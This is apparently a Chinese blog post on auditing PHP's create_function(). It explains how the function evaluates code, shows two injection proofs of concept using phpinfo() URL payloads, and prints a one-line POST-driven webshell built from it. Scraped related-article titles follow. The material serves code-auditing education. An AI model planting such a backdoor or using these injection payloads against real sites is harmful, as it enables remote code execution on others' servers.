PHP代码审计之create_function()函数
0x00 create_function()简介
适用范围:PHP 4> = 4.0.1
,PHP 5
,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
- 1 create_function(string $args,string $code)
- 2 string $args 声明的函数变量部分
- 3
- 4 string $code 执行的方法代码部分
0x01 函数功能分析
案例:
- <?php
- $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
- echo "New anonymous function: $newfunc\n";
- echo $newfunc(2, M_E) . "\n";
- ?>
保存为create.php
分析:
create_function()
会创建一个匿名函数(lambda
样式)。此处创建了一个叫lambda_1
的函数,在第一个echo
中显示出名字,并在第二个echo
语句中执行了此函数。
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return
语句,属于create_function()
中的第二个参数string $code
位置。
因此,上述匿名函数的创建与执行过程等价于:
- <?php
- function lambda_1($a,$b){
- return "ln($a) + ln($b) = " . log($a * $b);
- }
- ?>
create_function()
函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程,我们可以熟练的实现对代码注入的payload
构造,从而进行漏洞挖掘和找出存在的缺陷。
0x02 实现代码注入的案例
案例1:
- <?php
- error_reporting(0);
- $sort_by = $_GET['sort_by'];
- $sorter = 'strnatcasecmp';
- $databases=array('1234','4321');
- $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
- usort($databases, create_function('$a, $b', $sort_function));
- ?>
payload
的构造:
- http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*
还原实际的组合过程:
- $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
匿名函数实际的执行:
- function niming($a,$b){
- return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
- }
回车换行整理一下:
- function niming($a,$b){
- return 1 * ' . $sorter . '($a["' . $sort_by '"]);
- }
- phpinfo();/*
- }
案例2:
- <?php
- $c=$_GET['c'];
- $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
- $array=array('reall long string here,boy','this','midding lenth','larget');
- usort($array,$lambda);
- print_r($array);
- ?>
payload
的构造:
- http://localhost/test2.php?c=1));}phpinfo();/*
还原实际的组合过程:
- $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
匿名函数实际的执行:
- function ft($a,$b){
- return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
- }
回车换行整理一下:
- function ft($a,$b){
- return (strlen($a)-strlen($b)+" . "strlen(1));
- }
- phpinfo();
- /*));
- }
0x03 打造后门
houmen.php
- <?php $func =create_function('',$_POST['cmd']);$func();?>
create_function()
是可以利用当后门的函数,实际上它是通过执行eval
实现(此处相当于一句话木马),访问如下:
0x04 create_function()被高版本 PHP 废弃
从PHP 7.2.0
开始,create_function()
被废弃
PHP代码审计之create_function()函数的更多相关文章
- 代码审计之create_function()函数
0x00 create_function()简介 适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7 功能:根据传递的参数创建匿名函数,并为其返回唯一名称. 语法: create_f ...
- 代码审计学习01-in_array() 函数缺陷
一.开始代码审计之旅 01 从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧. 二.先看 ...
- PHP代码审计入门(敏感函数回溯参数过程)
最近开始啃<代码审计企业级web代码安全架构>这本书,这一章内容看了2天很多内容都理解最主要的是对PHP不熟练所以现在理解了大概 然后进行实地环境搭建最主要的是源码百度真不好找 最后找到一 ...
- [代码审计Day2] filter_var函数缺陷代码审计
简介 // composer require "twig/twig" require 'vendor/autoload.php'; class Template { private ...
- [php代码审计] Window api函数 FindFirstFile 在php中的问题
include文件夹中文件: 内容: <?php echo __FILE__; ?> index.php: 演示如下: “<<”替换多个任意字符: “>”替换单个字符:
- PHP回调函数的几种用法
PHP回调函数的实现方法 目录 前言 全局函数的回调 类静态函数的回调 对象的方法的回调 PHP事件模型(观察者模式)的实现思路 前言 最近在开发一个PH ...
- Php5.3的lambda函数以及closure(闭包)
从php5.3以后,php也可以使用lambda function(可能你会觉得是匿名函数,的确是但不仅仅是)来写类似javascript风格的代码: $myFunc = function() { e ...
- php函数的种类与调用方法大揭密
PHP中的函数看上去很简单,实际上功能非常强大,我这里按函数名称是否固定,可以分为以下三大类: 一.名称固定的函数: 这类函数,也叫:常规函数,直接用关键字function来创建,也是大家最熟悉的类型 ...
- 回调函数的原理及PHP实例
背景:在最近的一个开发项目中,用户要先调用服务才能开始进行一系列的查询活动,想了好久,经同事提醒, 用回调函数即可解决该问题.在这里,对PHP下回调函数的原理及实现分别做一下讲解. 1 什么是回调 软 ...
随机推荐
- 学习笔记--html篇(2)
html学习--2 canvas . svg 区别 canvas: 依赖分辨率 不支持文本渲染能力 文本渲染能力弱 支持保存图像为png.jpg等格式 适合图像密集开发(游戏) SVG 不依赖分辨率 ...
- Firebug: Net Panel 使用详解
Introduction to Firebug: Net Panel Since there is not much user documentation related to Firebug fea ...
- CSAcademy Prefix Suffix Counting 题解
CSAcademy Prefix Suffix Counting 题解 目录 CSAcademy Prefix Suffix Counting 题解 题意 思路 做法 程序 题意 给你两个数字\(N\ ...
- Blazor中的无状态组件
声明:本文将RenderFragment称之为组件DOM树或者是组件DOM节点,将*.razor称之为组件. 1. 什么是无状态组件 如果了解React,那就应该清楚,React中存在着一种组件,它只 ...
- 网络路径排查工具使用/原理浅析(MTR、traceroute、tracepath、windows下besttrace)
在请求网络资源获取缓慢或者有丢包过程中.经常会使用到网络路径探测工具.linux 下最常用的有mtr.traceroute.tracepath 等. 你是否有一点疑惑,路径探测的原理到底是如何完成的, ...
- 使用docker-compose一起安装kafka(zookeeper)
要先安装docker-compose Linux安装docker-compose 参考:https://www.cnblogs.com/pxblog/p/15049362.html 创建docker- ...
- JAVA遍历某个文件夹下所有文件listFiles() 实现按照名称升序排序
File[] files = file.listFiles(); List fileList = Arrays.asList(files); Collections.sort(fileList, ne ...
- c++ vector释放概述
这里仅为概述,具体的详情分析,可以Google下,会得到更详尽的解释. 1.函数clear和erase都将数组的size清空,但对应的空间并没有回收,而且,一直push_baclk, 对应的capac ...
- c++内存分布之虚析构函数
关于 本文代码演示环境: VS2017+32程序 虚析构函数是一种特殊的虚函数,可以知道,虚函数影响的内存分布规律应该也适用虚析构函数.看看实际结果. Note,一个类中,虚析构函数只能有一个. 本文 ...
- 牛客练习赛39 B:选点(二叉树遍历+LIS)
链接: https://ac.nowcoder.com/acm/contest/368/B 来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 131072K,其他语言262 ...